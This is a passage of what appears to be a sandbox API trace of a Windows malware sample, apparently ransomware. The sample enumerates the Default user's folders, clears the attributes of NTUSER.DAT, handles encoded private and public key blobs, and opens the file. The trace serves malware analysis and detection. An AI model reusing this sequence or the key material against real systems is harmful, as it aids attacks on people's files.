lpFindFileData=0x19fb50*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0x785fe036, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x785fe036, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xa1b150 [0172.373] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0x785fe036, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x785fe036, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0172.495] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x17d2dc32, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc3aee4d3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d2dc32, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppData", cAlternateFileName="")) returned 1 [0172.495] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x785fe036, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x785fe036, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x785fe036, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1 [0172.495] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x785fe036, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x785fe036, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x785fe036, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Cookies", cAlternateFileName="")) returned 1 [0172.495] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3ef8c08, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 1 [0172.495] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3f654c1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5d42963, ftLastWriteTime.dwHighDateTime=0x1d32721, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1 [0172.495] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3f66782, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Downloads", cAlternateFileName="DOWNLO~1")) returned 1 [0172.495] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fb8e09, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Favorites", cAlternateFileName="FAVORI~1")) returned 1 [0172.495] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fb994f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Links", cAlternateFileName="")) returned 1 [0172.496] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x785fe036, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x785fe036, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x785fe036, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Local Settings", cAlternateFileName="LOCALS~1")) returned 1 [0172.496] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fbaa63, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Music", cAlternateFileName="")) returned 1 [0172.496] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x785fe036, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x785fe036, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x785fe036, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Documents", cAlternateFileName="MYDOCU~1")) returned 1 [0172.496] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x785fe036, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x785fe036, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x785fe036, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NetHood", cAlternateFileName="")) returned 1 [0172.496] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c4aac40, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0x19fa8eb, ftLastAccessTime.dwHighDateTime=0x1d5d811, ftLastWriteTime.dwLowDateTime=0x19fa8eb, ftLastWriteTime.dwHighDateTime=0x1d5d811, nFileSizeHigh=0x0, nFileSizeLow=0x40000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT", cAlternateFileName="")) returned 1 [0172.496] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac8 | out: lpLocalFileTime=0x19fac8) returned 1 [0172.496] FileTimeToDosDateTime (in: lpFileTime=0x19fac8, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0172.496] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\NTUSER.DAT" (normalized: "c:\\users\\default\\ntuser.dat"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c4aac40, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0x19fa8eb, ftLastAccessTime.dwHighDateTime=0x1d5d811, ftLastWriteTime.dwLowDateTime=0x19fa8eb, ftLastWriteTime.dwHighDateTime=0x1d5d811, nFileSizeHigh=0x0, nFileSizeLow=0x40000)) returned 1 [0172.497] GetFileAttributesW (lpFileName="C:\\Users\\Default\\NTUSER.DAT" (normalized: "c:\\users\\default\\ntuser.dat")) returned 0x20 [0172.497] SetFileAttributesW (lpFileName="C:\\Users\\Default\\NTUSER.DAT", dwFileAttributes=0x80) returned 1 [0172.499] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0172.499] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x321794c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0172.501] GetCurrentThreadId () returned 0xab4 [0172.501] GetCurrentThreadId () returned 0xab4 [0172.502] GetCurrentThreadId () returned 0xab4 [0172.502] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0172.502] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x32289ac, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0172.502] GetCurrentThreadId () returned 0xab4 [0172.502] GetCurrentThreadId () returned 0xab4 [0172.502] GetCurrentThreadId () returned 0xab4 [0172.503] CreateFileW (lpFileName="C:\\Users\\Default\\NTUSER.DAT" (normalized: "c:\\users\\default\\ntuser.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, 